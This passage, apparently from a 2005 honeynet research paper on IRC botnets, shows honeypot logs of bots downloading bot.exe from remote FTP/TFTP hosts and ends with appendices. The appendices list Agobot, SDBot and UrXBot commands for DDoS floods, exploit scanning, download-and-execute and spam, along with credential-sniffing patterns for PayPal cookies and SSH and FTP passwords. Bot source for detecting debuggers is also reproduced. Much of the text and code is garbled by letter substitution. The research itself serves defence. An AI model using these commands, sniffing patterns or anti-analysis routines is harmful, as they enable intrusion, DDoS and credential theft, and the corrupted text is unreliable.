g e W  c d a c c e V V 6 . e [ e "
P Z c - W U i W i X P :      P X V h e d  f e W c h  U e T X e V W  f R U  " W f W S : / / X X X . X X X . X X X . X X X / c d a c c e V V 6 . e [ e " .
P Z c - W U i W i X P :      F i Q i V h e d  f e W c h i Q g  c d a c c e V V 6 . e [ e

And in Whe Vecond e[ample Whe VofWZaUe VimXlaWeV a machine WhaW can be

e[ploiWed WhUoXgh Whe backdooU lefW b\ Whe Bagle ZoUm. Again,

mZcollect2 iV able Wo VXcceVVfXll\ feWch Whe malZaUe.

P Z c - W U i W i X P :      B a g O e  c R Q Q e c W i R Q  f U R P  X X X . X X X . X X X . X X X : 4 8 0 2  ( W R  : 2 7 4 5 ) .
P Z c - W U i W i X P :      B a g O e  V e V V i R Q  Z i W h  i Q Y a O i d  a X W h  V W U i Q g :
4 3 F F F F F F 3 0 3 0 3 0 0 1 0 A 2 8 9 1 A 1 2 B E 6 6 0 2 F 3 2 8 F 6 0 1 5 1 A 2 0 1 A 0 0
P Z c - W U i W i X P :      S X c c e V V f X O  b a g O e  V e V V i R Q ,  f e W c h
" f W S : / / b O a : b O a @ X X X . X X X . X X X . X X X : 4 8 4 7 / b R W . e [ e " .
P Z c - W U i W i X P :      P X V h e d  f e W c h  U e T X e V W  f R U  " f W S : / / b O a : b O a @ X X X . X X X . X X X . X X X : 4 8 4 7 / b R W . e [ e " .
P Z c - W U i W i X P :      D R Z Q O R a d i Q g  R f  f W S : / / b O a : b O a @ X X X . X X X . X X X . X X X : 4 8 4 7 / b R W . e [ e
( f W S : / / b O a : b O a @ X X X . X X X . X X X . X X X : 4 8 4 7 / b R W . e [ e )  V X c c e V V f X O .

The folloZing liVWingV VhoZV Whe effecWiYeneVV of WhiV appUoach:



 7 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 5 2 8 4 . 7 a d 3 7 9 2 6         2 0 0 5 - 0 2 - 1 9  1 6 : 0 1  C E T    
7 1 d e 4 2 b e 1 0 d 1 b d f f 4 4 d 8 7 2 6 9 6 f 9 0 0 4 3 2
 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 5 5 2 5 . 4 a 1 2 d 1 9 0         2 0 0 5 - 0 2 - 1 9  1 6 : 0 5  C E T    
e 8 b 0 6 5 b 0 7 a 5 3 a f 2 c 7 4 7 3 2 a 1 d f 1 8 1 3 f d 4
 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 5 8 4 8 . 7 0 9 1 6 0 9 b         2 0 0 5 - 0 2 - 1 9  1 6 : 1 0  C E T    
4 8 b 8 0 b 4 b 6 a d 2 2 8 a 7 e c 1 5 1 8 5 6 6 d 9 6 e 1 1 e
 2 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 6 1 1 7 . 2 0 b f 1 1 3 5         2 0 0 5 - 0 2 - 1 9  1 6 : 1 5  C E T    
c 9 5 e b 7 5 f 9 3 c 8 9 6 9 5 e a 1 6 0 8 3 1 f 7 0 b 2 a 4 f
7 8 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 6 6 3 9 . 4 a 2 d a 0 b b         2 0 0 5 - 0 2 - 1 9  1 6 : 2 3  C E T    
4 2 c b a a e 8 3 0 6 d 7 b f e 9 b b 8 0 9 a 5 1 2 3 2 6 5 b 9
1 9 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 6 8 4 4 . 3 6 d 2 5 9 c c         2 0 0 5 - 0 2 - 1 9  1 6 : 2 7  C E T    
b 1 d b 6 b b d f d a 7 e 4 e 1 5 a 4 0 6 3 2 3 b e a 1 2 9 c e
 3 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 7 2 7 4 . 7 7 b 0 e 1 4 b         2 0 0 5 - 0 2 - 1 9  1 6 : 3 4  C E T    
f b d 1 3 3 e 3 d 4 e d 8 2 8 1 e 4 8 3 d 8 0 7 9 c 5 8 3 2 9 3
 3 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 7 4 3 0 . 3 c 0 b b 9 c 9         2 0 0 5 - 0 2 - 1 9  1 6 : 3 7  C E T    
7 7 1 1 e f d 6 9 3 d 4 2 1 9 d d 2 5 e c 9 7 f 0 b 4 9 8 c 1 f
 4 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 8 1 0 5 . 6 d b 0 f b 1 9         2 0 0 5 - 0 2 - 1 9  1 6 : 4 8  C E T    
2 3 f d e 2 e 9 e b e 5 c c 5 5 e c e b d b d 4 b 8 4 1 5 7 6 4
2 9 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 8 2 0 5 . 1 1 d 6 0 3 3 0         2 0 0 5 - 0 2 - 1 9  1 6 : 5 0  C E T    
8 9 8 2 e 9 8 f 4 b d e 3 f b 5 0 7 c 1 7 8 8 4 f 6 0 d c 0 8 6
 2 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 8 2 2 8 . 5 0 0 c 4 3 1 5         2 0 0 5 - 0 2 - 1 9  1 6 : 5 0  C E T    
d 0 4 5 f 0 6 f 5 9 a e 8 1 4 5 1 4 a b 3 2 9 b 9 3 9 8 7 c 8 6
 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 8 3 0 5 . 7 c 2 a 3 9 a 8         2 0 0 5 - 0 2 - 1 9  1 6 : 5 1  C E T    
5 5 6 7 7 9 8 2 1 a 8 c 0 5 3 c 9 c c 7 d 2 3 f e b 5 d d 1 d 4
3 4 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 8 3 1 1 . 6 5 5 d 0 1 d a         2 0 0 5 - 0 2 - 1 9  1 6 : 5 1  C E T    
d e 5 3 8 9 2 3 6 2 a 5 0 b 7 0 0 c 4 d 8 e a b f 7 d c 5 7 7 7
 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 8 4 1 8 . 1 7 8 a e d e 3         2 0 0 5 - 0 2 - 1 9  1 6 : 5 3  C E T    
2 a 4 d 8 2 2 c 2 a 3 7 f 1 a 6 2 e 5 d d 4 2 d f 1 9 f f c 9 6
 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 8 8 2 2 . 4 6 6 0 8 3 a a         2 0 0 5 - 0 2 - 1 9  1 7 : 0 0  C E T    
2 c 1 f 9 2 f 9 f a e d 9 a 8 2 a d 8 5 9 8 5 c 6 c 8 0 9 0 3 0
 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 9 3 0 9 . 7 0 5 a 6 8 3 c         2 0 0 5 - 0 2 - 1 9  1 7 : 0 8  C E T    
b e 4 2 3 6 f f e 6 8 4 e b 7 3 6 6 7 c 7 8 8 0 5 b e 2 1 f e 6
1 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 9 3 2 3 . 4 f 5 7 9 1 1 2         2 0 0 5 - 0 2 - 1 9  1 7 : 0 8  C E T    
6 4 c f e f c 8 1 7 6 6 6 d e a 7 b c 6 f 8 6 2 7 0 8 1 2 4 3 8
 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 2 9 5 5 3 . 5 6 e 1 1 6 7 d         2 0 0 5 - 0 2 - 1 9  1 7 : 1 2  C E T    
5 a b 6 6 f a e 6 8 7 8 7 5 0 b 7 8 1 5 8 a c f b 2 2 5 d 2 8 f
1 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 3 0 0 1 2 . 4 b b d e d d 9         2 0 0 5 - 0 2 - 1 9  1 7 : 2 0  C E T    
0 5 b 6 9 1 3 2 4 c 6 c e 7 7 6 8 b e c b d b a 9 4 9 0 e e 4 7
 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 3 0 0 7 4 . 1 c a 9 5 6 5 f         2 0 0 5 - 0 2 - 1 9  1 7 : 2 1  C E T    
e 7 4 0 d e 8 8 6 c f a 4 e 1 6 5 1 c 3 b 9 b e 0 1 9 4 4 3 f 6
9 8 [      m Z c - d a t a s u b m . 1 1 0 8 8 3 0 1 7 1 . 6 e a 1 f 0 7 9         2 0 0 5 - 0 2 - 1 9  1 7 : 2 2  C E T    
3 a 0 a b 2 b 9 0 1 f 5 a 9 e 1 0 2 3 f a 8 3 9 f 8 e f 3 f e 9
 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 3 0 7 2 9 . 5 0 d b f 8 1 3         2 0 0 5 - 0 2 - 1 9  1 7 : 3 2  C E T    
f 2 9 7 9 7 8 7 3 a 1 3 6 a 1 5 a 7 e a 1 9 1 1 9 f 7 2 f b e d
 1 [      m Z c - d a t a s u b m . 1 1 0 8 8 3 1 4 9 0 . 3 c d 9 8 6 5 1         2 0 0 5 - 0 2 - 1 9  1 7 : 4 4  C E T    
a 8 5 7 1 a 0 3 3 6 2 9 b f a d 1 6 7 e f 8 b 4 e 1 3 9 c e 5 c
1 3 [      m Z c - d a t a s u b m . 1 1 0 8 8 3 2 2 0 5 . 5 e e f 6 4 0 9         2 0 0 5 - 0 2 - 1 9  1 7 : 5 6  C E T    
d 2 0 2 5 6 3 d b 6 4 f 0 b e 0 2 6 d d 6 b a 9 0 0 4 7 4 c 6 4

WLWK WKH KHOS RI MXVW RQH VHQVRU LQ D GLDO-LQ QHWZRUN ZH ZHUH DEOH WR IHWFK 324 ELQDULHV ZLWK D WRWDO RI 24 XQLTXH RQHV

ZLWKLQ D SHULRG RI WZR KRXUV. TKH XQLTXHQHVV RI WKH PDOZDUH ZDV FRPSXWHG ZLWK WKH KHOS RI m d 5 s u m , D WRRO WR

FRPSXWH DQG FKHFN MD5 PHVVDJH GLJHVWV.

TKH ELJ DGYDQWDJH RI XVLQJ PZFROOHFW2 WR FROOHFW WKH ERWV LV FOHDUO\ VWDELOLW\: A ERW WU\LQJ WR H[SORLW D KRQH\SRW UXQQLQJ
WLQGRZV 2000 ZLWK VKHOOFRGH ZKLFK FRQWDLQV DQ j m p  e b [  RIIVHW IRU WLQGRZV XP ZLOO REYLRXVO\ FUDVK WKH VHUYLFH. IQ

PRVW FDVHV, WKH KRQH\SRW ZLOO EH IRUFHG WR UHERRW. IQ FRQWUDVW WR WKLV, PZFROOHFW2 FDQ EH VXFFHVVIXOO\ H[SORLWHG E\ DOO

RI WKRVH WRROV DQG KHQFH FDWFK D ORW PRUH ELQDULHV WKLV ZD\. IQ DGGLWLRQ, PZFROOHFW2 LV HDVLHU WR GHSOR\ - MXVW D VLQJOH

PDNH FRPPDQG DQG WKH FROOHFWLQJ FDQ EHJLQ (\RX KRZHYHU mighW ZDQW WR FKDQJH WKH FRQILJXUDWLRQ). YHW WKH GRZQVLGH
RI FDWFKLQJ ERWV WKLV ZD\ LV WKDW ELQDULHV VWLOO KDYH WR EH UHYLHZHG PDQXDOO\. A KRQH\SRW EHKLQG D HRQH\ZDOO ZLWK

VQRUW_LQOLQH ILOWHULQJ RXW WKH UHOHYDQW IRC WUDIILF FRXOG HYHQ VHW XS WKH VQLIILQJ drone DXWRPDWLFDOO\ DIWHU H[SORLWDWLRQ.

ConclXsion



In WhiV papeU Ze haYe aWWempWed Wo demonVWUaWe hoZ hone\neWV can help XV XndeUVWand hoZ boWneWV ZoUk, Whe WhUeaW
Whe\ poVe, and hoZ aWWackeUV conWUol Whem. OXU UeVeaUch VhoZV WhaW Vome aWWackeUV aUe highl\ Vkilled and oUgani]ed,

poWenWiall\ belonging Wo Zell oUgani]ed cUime VWUXcWXUeV. LeYeUaging Whe poZeU of VeYeUal WhoXVand boWV, iW iV Yiable Wo

Wake doZn almoVW an\ ZebViWe oU neWZoUk inVWanWl\. EYen in XnVkilled handV, iW VhoXld be obYioXV WhaW boWneWV aUe a

loaded and poZeUfXl Zeapon. Since boWneWV poVe VXch a poZeUfXl WhUeaW, Ze need a YaUieW\ of mechaniVmV Wo coXnWeU
iW.

DecenWUali]ed pUoYideUV like Akamai can offeU Vome UedXndanc\ heUe, bXW YeU\ laUge boWneWV can alVo poVe a VeYeUe

WhUeaW eYen againVW WhiV UedXndanc\. Taking doZn of Akamai ZoXld impacW YeU\ laUge oUgani]aWionV and companieV, a

pUeVXmabl\ high YalXe WaUgeW foU ceUWain oUgani]aWionV oU indiYidXalV. We aUe cXUUenWl\ noW aZaUe of an\ boWneW XVage Wo

haUm miliWaU\ oU goYeUnmenW inVWiWXWionV, bXW Wime Zill Well if WhiV peUViVWV.

In Whe fXWXUe, Ze hope Wo deYelop moUe adYanced hone\poWV WhaW help XV Wo gaWheU infoUmaWion aboXW WhUeaWV VXch aV
boWneWV. E[ampleV inclXde Client hone\pots WhaW acWiYel\ paUWicipaWe in neWZoUkV (e.g. b\ cUaZling Whe Zeb, idling in

IRC channelV, oU XVing P2P-neWZoUkV) oU modif\ hone\poWV Vo WhaW Whe\ capWXUe malZaUe and Vend iW Wo anWi-YiUXV

YendoUV foU fXUWheU anal\ViV. Since oXU cXUUenW appUoach focXVeV on boWV WhaW XVe IRC foU C&C, Ze focXVed in Whe

papeU on IRC-baVed boWV. We haYe alVo obVeUYed oWheU boWV, bXW WheVe aUe UaUe and cXUUenWl\ XndeU deYelopmenW. In
a feZ monWhV/\eaUV moUe and moUe boWV Zill XVe non-IRC C&C, poWenWiall\ decenWUali]ed p2p-commXnicaWion. So

moUe UeVeaUch in WhiV aUea iV needed, aWWackeUV don'W Vleep. AV WheVe WhUeaWV conWinXe Wo adapW and change, Vo Wo mXVW

Whe VecXUiW\ commXniW\.

Appendi[ A: Botnet Commands - Which
commands the bots understand

In Whe folloZing, Ze coYeU Whe moUe popXlaU commandV implemenWed in Whe common boWV Ze haYe capWXUed in Whe
Zild. PUeVenWing all Whe commandV iV be\ond Whe Vcope of WhiV papeU, aV AgoboW comeV along ZiWh oYeU 90 commandV

in Whe defaXlW configXUaWion.

1. DDoS VomeWhing

AgoboW

ddos.stop
VWopV all floodV

ddos.phatZonk [host] [time] [dela\]

VWaUWV leeW flood

S t a r t s  a  S Y N - f l o o d  o n  p o r t s  2 1 , 2 2 , 2 3 , 2 5 , 5 3 , 8 0 , 8 1 , 8 8 ,
      1 1 0 , 1 1 3 , 1 1 9 , 1 3 5 , 1 3 7 , 1 3 9 , 1 4 3 , 4 4 3 , 4 4 5 , 1 0 2 4 , 1 0 2 5 , 1 4 3 3 ,
      1 5 0 0 , 1 7 2 0 , 3 3 0 6 , 3 3 8 9 , 5 0 0 0 , 6 6 6 7 , 8 0 0 0 , 8 0 8 0
                       

ddos.phats\n [host] [time] [dela\] [port]

VWaUWV V\n flood
ddos.phaticmp [host] [time] [dela\]

VWaUWV icmp flood

ddos.s\nflood [host] [time] [dela\] [port]

VWaUWV an SYN flood
ddos.updflood [host] [port] [time] [dela\]

VWaUW a UDP flood

ddos.targa3 [host] [time]

VWaUW a WaUga3 flood

      I m p l e m e n t s  t h e  Z e l l  k n o Z n  D D o S  a t t a c k  M i [ t e r  a u t h o r e d  i n  1 9 9 9 .

      / *
      *  t a r g a 3  -  1 9 9 9  ( c )  M i [ t e r  < m i [ t e r @ n e Z \ o r k o f f i c e . c o m >



      *
      *  I P  V W a c k  p e n e W U a W i o n  W o o l  /  ' e [ p l o i W  g e n e U a W o U '
      *  S e n d V  c o m b i n a W i o n V  o f  X n c o m m o n  I P  p a c k e W V  W o  h o V W V
      *  W o  g e n e U a W e  a W W a c k V  X V i n g  i n Y a l i d  f U a g m e n W a W i o n ,  p U o W o c o l ,
      *  p a c k e W  V i ] e ,  h e a d e U  Y a l X e V ,  o p W i o n V ,  o f f V e W V ,  W c p  V e g m e n W V ,
      *  U o X W i n g  f l a g V ,  a n d  o W h e U  X n k n o Z n / X n e [ p e c W e d  p a c k e W  Y a l X e V .
      *  U V e f X l  f o U  W e V W i n g  I P  V W a c k V ,  U o X W e U V ,  f i U e Z a l l V ,  N I D S ,
      *  e W c .  f o U  V W a b i l i W \  a n d  U e a c W i o n V  W o  X n e [ p e c W e d  p a c k e W V .
      *  S o m e  o f  W h e V e  p a c k e W V  m i g h W  n o W  p a V V  W h U o X g h  U o X W e U V  Z i W h
      *  f i l W e U i n g  e n a b l e d  -  W e V W V  Z i W h  V o X U c e  a n d  d e V W i n a W i o n  h o V W
      *  o n  W h e  V a m e  e W h e U n e W  V e g m e n W  g i Y e V  b e V W  e f f e c W V .
      * /
      W a k e n  f U o m  
          h W W p : / / p a c k e W V W o U m V e c X U i W \ . o U g / D o S / W a U g a 3 . c

< / m i [ W e U @ n e Z \ o U k o f f i c e . c o m >

ddos.httpflood [url] [number] [referrer] [recursive = true__false]
VWaUWV a HTTP flood

      T h i V  i V  U e a l  n a V W \  V i n c e  i W  f e W c h e V  Z e b V i W e V  f U o m  a  Z e b V e U Y e U .  
      I f  " U e c X U V i Y e "  i V  V e W ,  W h e  b o W  p a U V e V  W h e  U e p l i e V  a n d  f o l l o Z V  
      l i n k V  U e c X U V i Y e l \ .

SDBoW

syn [ip] [port] [seconds_amount] [sip] [sport] [rand] (VdboW 05b pXUe YeUVion)
udp [host] [num] [size] [delay] [[port]]size (VdboW 05b ago YeUVion)

ping [host] [num] [size] [delay]num

UUXboW

ddos.(syn_ack_random) [ip] [port] [length]
(syn_synflood) [ip] [port] [length]

(udp_udpflood_u) [host] [num][ [size] [delay] [[port]]

(tcp_tcpflood) (syn_ack_random) [ip] [port] [time]

(ping_pingflood_p) [host] [num][ [size] [delay]
(icmpflood_icmp) [ip] [time]

ddos.stop

synstop

pingstop
udpstop

2. SpUeading

AgoboW

scan.addnetrange [255.255.255.255/32] [priority]

scan.delnetrange [255.255.255.255/32]
scan.listnetrangesliVW Vcanned neWUangeV

scan.clearnetrangescleaUV neWUange

scan.resetnetranges

UemoYeV all neWUangeV fUom VcanneU and addV local LAN aV Vcanning Uange
scan.enable [scanner]

[VcanneU] can be one of

 A n X b i V  B a g l e  C P a n e l  D C O M  D C O M 2  D o o m  D W  E W h e U e a l  H T T P  L o c a W o U  L S A S S

N e W B i o V  O p W i [  S Q L  U P N P  W K S

scan.disable [scanner]

[VcanneU] can be Whe Vame aV aboYe

scan.startall

VWaUWV all VcanneUV
scan.stopall

VWopV all VcanneUV

scan.start

VWaUWV all enabled VcanneUV



scan.stop

VWopV all VcanneUV

scan.stats
Uepl\V VWaWV aboXW e[ploiWingV peU VcanneU

scan.host [255.255.255.255[:port]]

If giYen ZiWh poUW, jXVW WUieV Wo e[ploiW Whe hoVW ZiWh Whe VcanneUV fiWWing Whe poUWV, elVe all VcanneUV

aUe XVed.
SDBoW & UUXBoW

(scanall_sa)

(scanstats_stats)

scandel [port_method]
[meWhod] can be one of         Z e b d a Y  Q W S a V V  Q e W b i R V  d c R P 1 3 5  d c R P 4 4 5  d c R P 1 0 2 5

d c R P 2  i i V 5 V V O  P V V T O  b e a g O e 1  b e a g O e 2  P \ d R R P  O V a V V _ 4 4 5  O V a V V _ 1 3 9  R S W i [  X S Q S

Q e W d e Y i O  D a P e W a U e  N X a Q g 2  V X b 7

scanstop
(advscan_asc) [port_method] [threads] [delay] [minutes]

3. DoZnloading fileV fUom Whe inWeUneW

AgoboW

http.download
doZnload a file Yia HTTP

http.execute

XpdaWeV Whe boW Yia Whe giYen HTTP URL

http.update
e[ecXWeV a file fUom a giYen HTTP URL

The Vame commandV aUe alVo aYailable Yia FTP

SDBoW & UUXBoW

(update_up) [url] [botid]

(download_dl) [url] [[runfile?]] [[crccheck]] [[length]]
4. Local file IO

SDBoW & UUXBoW

(execute_e) [path]

(findfile_ff) filename
(rename_mv) [from] [to]

findfilestopp

5. Sending Spam

AgoboW
cvar.set spam_aol_channel [channel]

AOL Spam - Channel name

cvar.set spam_aol_enabled [1/0]

AOL Spam - Enabled?
cvar.set spam_maxthreads [8]cvar

Spam Logic - NXmbeU of WhUeadV

cvar.set spam_htmlemail [1/0]"true",

Spam Logic - Send HTML emailV

cvar.set aolspam_maxthreads [8]

AOL Spam Logic - NXmbeU of WhUeadV
spam.setlist

doZnloadV liVW ZiWh email-addUeVVeV Wo Vpam Whem

spam.settemplate

doZnloadV an email WemplaWe
spam.start

VWaUWV Whe Vpamming



Vpam.VWop

stops the spamming

aolVpam.VeWliVW
AOL Spam - downloads an email list

aolVpam.VeWWemplaWe

AOL - downloads an email template

aolVpam.VeWXVeU
AOL - sets an username

aolVpam.VeWpaVV

AOL - sets a password

aolVpam.VWaUW

AOL - starts the spamming

aolVpam.VWop
AOL - stops the spamming

SDBot
        S o  f a r ,  S D B o t  d o e s  n o t  i m p l e m e n t  d e d i c a t e d  s p a m m i n g
        m e t h o d s .  B u t  o t h e r  o p t i o n s  t o  s e n d  s p a m  a r e  p o s s i b l e :
        T h e  s p a m m e r  u s e s  t h e  " d o w n l o a d "  c o m m a n d  t o  d o w n l o a d
        a n d  e x e c u t e  a  S O C K S v 4 / v 5  s e r v e r .  T h e  s e r v e r  p u b l i s h e s
        h i s  I P - a d d r e s s  a n d  S O C K S - p o r t  a t  a  f i l e  o n  a
        w e b s e r v e r .  V i a  t h i s  b a c k d o o r ,  s p a m  c a n  b e  s e n t .
       

UrXBot

email [VeUYeU] [poUW] [VUcmail] [dVWmail] [mailVXbj]

6. Sniffing

Agobot
        A g o b o t s  s n i f f i n g  i s  r e a l l y  " a d v a n c e d " :  I f  y o u  c o m p i l e
        t h e  b o t  w i t h  s n i f f i n g  e n a b l e d ,  i t  d r o p s  a  s t r i p p e d
        d o w n  l i p c p a p  d l l  o n  s t a r t u p  a n d  r e g i s t e r s  i t  a s  s y s t e m
        d r i v e r .  T h e  s n i f f i n g  t h r e a d  t h e n  u s e s  l i b p c r e  t o
        l o o k o u t  f o r  b o t  c o m m a n d s
       

HTTP
Commented: Like pa\pals? ;-D How about cookies? YUMMEH! -rain

Checks for "PAYPAL" "SET-COOKIE"

SSH

Commented: I dont get the idea, but the famous lsass author Nils contributed this and comments it

// SSH - works - after the RSA ke\ is sent, the login and pass is sent raw. Believe me. -Nils

Checks for "login as:" "password:" "putt\" "SECURECRT"
CPANEL

Commented: Like configuring Domains ? Here \ou go ! -Nils

Checks for "cPanel" "Set-Cookie:"

IRC
Checks for:

        " ^ : ( . * ) ! ( . * ) @ ( . * )  ( ( ? i ) P R I V M S G _ N O T I C E )  ( . * )  : ( . ) ( ( ?
i ) l o g i n _ a u t h _ i d _ i d e n t _ h a s h i n _ s e c u r e _ l )  ( . * ) $ "
        " ^ ( ( ? i ) o p e r  ) ( . * ) "
        " ^ : ( . * )  3 8 1  ( . * )  : ( . * ) "
        " ^ ( ( ? i ) n i c k s e r v  i d e n t i f y )  ( . * ) $ "
        " ^ : . *  ( ( ? i ) n o t i c e _ p r i v m s g )  ( . * )  : P a s s w o r d  a c c e p t e d . * "
                B o t n e t  D D o S :
        " ^ : ( . * ) ! ( . * ) @ ( . * )  ( ( ? i ) P R I V M S G _ N O T I C E )  ( . * )  : ( . ) ( ( ?



i ) d d o s _ p a c k e t _ f l o o d _ u d p _ s y n _ p f a s t _ c o l d r a g e _ s y n 3 _ s y n 2 _ t a r g a _ i c m p _ f u c k _ r a n d o m )
( . * ) $ "
               

FTP

Checks for:

        " ^ ( ( ? i ) U S E R  ) ( . * ) "
        " ^ ( ( ? i ) P A S S  ) ( . * ) "
        " ^ ( 2 3 0  ) ( . * ) "
               

cvar.set sniffer_enabled 1/0
cvar.set sniffer_channel [destinationchannel]

sets the destinations channel to which the results should be logged

sniffer.addstring [pcre]

adds a user-defined string to the sniffer
sniffer.delstring [pcre]

deletes a user-defined string from the sniffer

SDBot
        S D B o t s  s n i f f i n g  i s  b a s e d  o n  W i n d o w s  r a w  s o c k e t
        l i s t e n i n g .   C o m p a r e d  t o  t h e  w a y  A g o b o t s  s n i f f i n g  i s
        i m p l e m e n t e d ,  t h i s  w a y  i s  i n e f f e c t i v e  a n d  p o o r l y :  T h e
        b o t  e v e n  s n i f f s  h i s  o w n  t r a f f i c  a n d  r e c o g n i z e s  i t  a s
        s n i f f e d  t r a f f i c .  I n  a d d i t i o n ,  S D B o t  l a c k s  P C R E  s u p p o r t
        a n d  u s e s  s t r s t r ( )  f o r  c o m p a r i s o n .
       

HTTP Checks for: paypal PAYPAL paypal.com PAYPAL.COM Set-Cookie:

IRC

Checks for the following strings: :.login :,login :!login :@login :$login :%login :̂ login :&login :*login
:-login :+login :/login :\\login :=login :?login :'login :̀ login :alogin : login :.auth :,auth :!auth :@auth

:$auth :%auth :̂ auth :&auth :*auth :-auth :+auth :/auth :\\auth :=auth :?auth :'auth :̀ auth :aauth : auth

:.id :,id :!id :@id :$id :%id :̂ id :&id :*id :-id :+id :/id :\\id :=id :?id :'id :̀ id :aid : id :.hashin :!hashin

:$hashin :%hashin :.secure :!secure :.l :!l :$l :%l :.x :!x :$x :%x :.syn :!syn :$syn :%syn CDKey JOIN
# NICK OPER oper now an IRC Operator

carnivore [on/off]

7. Cloning

Agobot
For some reasons our agobot lacks cloning capabilities

SDBot & UrXBot

(clone_c) [host] [port] [channel] [[chanpass]]

clonestop [clonenumber]

(c_raw_c_r) [clonenumber] [raw irc command]
(c_mode_c_m) [clonenumber][some irc mode]

(c_nick_c_n) [clonenumber] [newnick_$randnick]

(c_join_c_j) [clonenumber] [channel]

(c_part_c_p) [clonenumber] [channel]

(c_privmsg_c_pm) [clonenumber] [dest nick or channel] [msg]

(c_action_c_a) [clonenumber] [dest nick or channel] [msg]

Appendix B: Source Code - What techniques bots
use

In this side note, we take a closer look at the source code of some bots. We demonstrate several examples of

techniques used by current bots to either speed-up computations or to detect suspicious environments, such as



detection of debuggers or virtual machines such as VMware. Furthermore, some bots use different techniques to make
forensic anal\sis much more difficult.

1. Detecting SoftICE
/ *

        F u n c t i o n :  I s S I C E L o a d e d

        D e s c r i p t i o n :  T h i s  m e t h o d  i s  u s e d  b \  a  l o t  o f  c r \ p t e r s / c o m p r e s o r s  i t  u s e s  I N T

4 1 ,  

                     t h i s  i n t e r r u p t  i s  u s e d  b \  W i n d o w s  d e b u g g i n g  i n t e r f a c e  t o  d e t e c t

i f  a  

                     d e b u g g e r  i s  p r e s e n t .  O n l \  w o r k s  u n d e r  W i n d o w s .   

        R e t u r n s :  t r u e  i f  a  d e b u g g e r  i s  d e t e c t e d

* /

_ _ i n l i n e  b o o l  I V S I C E L o a d e d ( )  ^
        _ a V m  ^
                m o Y  a h ,  0 [ 4 3
                i n W  0 [ 6 8
                c m p  a [ ,  0 [ 0 F 3 8 6  / /  W i l l  b e  V e W  b \  a l l  V \ V W e m  d e b X g g e U V .
                j ]  o X W _

                [ o U  a [ ,  a [
                m o Y  e V ,  a [
                m o Y  b [ ,  Z o U d  p W U  e V : [ 0 [ 6 8 * 4 ]
                m o Y  e V ,  Z o U d  p W U  e V : [ 0 [ 6 8 * 4 + 2 ]
                m o Y  e a [ ,  0 [ 0 F 4 3 F C 8 0
                c m p  e a [ ,  d Z o U d  p W U  e V : [ e b [ ]
                j n ]  o X W _
                j m p  n o U m a l _
        n o U m a l _ :
                [ o U  e a [ ,  e a [
                l e a Y e
                U e W
        o X W _ :
                m o Y  e a [ ,  0 [ 1
                l e a Y e
                U e W
        `
        U e W X U n  f a l V e ;
`

2. Detecting SoftICE NT
/ *

        F u n c t i o n :  I s S o f t I c e N T L o a d e d

        D e s c r i p t i o n :  L i k e  t h e  p r e v i o u s  o n e  b u t  f o r  u s e  u n d e r  W i n  N T  o n l \

        R e t u r n s :  t r u e  i f  S o f t I c e  i s  l o a d e d

* /

_ _ i n l i n e  B O O L  I V S o f W I c e N T L o a d e d ( )  ^
        H A N D L E  h F i l e = C U e a W e F i l e (  " ? ? ? ? . ? ? N T I C E " ,
                                G E N E R I C _ R E A D  _  G E N E R I C _ W R I T E ,
                                F I L E _ S H A R E _ R E A D  _  F I L E _ S H A R E _ W R I T E ,
                                N U L L ,  O P E N _ E X I S T I N G ,  F I L E _ A T T R I B U T E _ N O R M A L ,  N U L L ) ;

        i f ( h F i l e ! = I N V A L I D _ H A N D L E _ V A L U E )  ^  C l o V e H a n d l e ( h F i l e ) ;  U e W X U n  W U X e ;  `
                U e W X U n  f a l V e ;  
        `

3. Detecting Oll\Dbg
        

/ *

        F u n c t i o n :  I s O D B G L o a d e d

        D e s c r i p t i o n :  T e s t s  i f  O l l \ D b g / o t h e r  a p p  d e b u g g e r s  i s / a r e  e n a b l e d

        R e t u r n s :  t r u e  i f  a  d e b u g g e r  i s  d e t e c t e d

* /



_ _ i n l i n e  b o o l  I s O D B G L o a d e d ( )  {
        c h a r  * c a p t i o n = " D A E M O N " ;
        _ a s m  {
                p u s h  0 x 0 0
                p u s h  c a p t i o n

                m o v  e a x ,  f s : [ 3 0 h ]                / /  p o i n t e r  t o  P E B
                m o v z x  e a x ,  b y t e  p t r [ e a x + 0 x 2 ]
                o r  a l , a l
                j z  n o r m a l _
                j m p  o u t _
        n o r m a l _ :
                x o r  e a x ,  e a x
                l e a v e
                r e t
        o u t _ :
                m o v  e a x ,  0 x 1
                l e a v e
                r e t
        `
`

�. DeWecWing BUeakpoinWV
/ *

        F X n c W i o n V  a U e  d e c l a U e d  a V  _ _ i n l i n e ,  W h i V  c a X V e V  W h e  e [ p a n V i o n  o f  W h i V  c o d e

e a c h  W i m e  a  f X n c W i o n

        i V  i n Y o k e d ,  W h i V  i V  W o  d i f f i c X l W  W h e  c U a c k e U  Z o U k  b \  X V i n g  W h i V  f X n c W i o n

m o U e  W h a n  o n c e  W i m e

        

        F X n c W i o n :  I V B P X

        D e V c U i p W i o n :  C h e c k V  i f  W h e  g i Y e n  m e m o U \  a d d U e V V  i V  a  b U e a k p o i n W

        R e W X U n V :  W U X e  i f  i W  i V  a  b U e a k p o i n W

* /

_ _ i n l i n e  b o o l  I s B P X ( v o i d  * a d d r e s s )  {
        _ a s m  {
                m o v  e s i ,  a d d r e s s         / /  l o a d  f u n c t i o n  a d d r e s s
                m o v  a l ,  [ e s i ]            / /  l o a d  t h e  o p c o d e
                c m p  a l ,  0 x C C             / /  c h e c k  i f  t h e  o p c o d e  i s  C C h
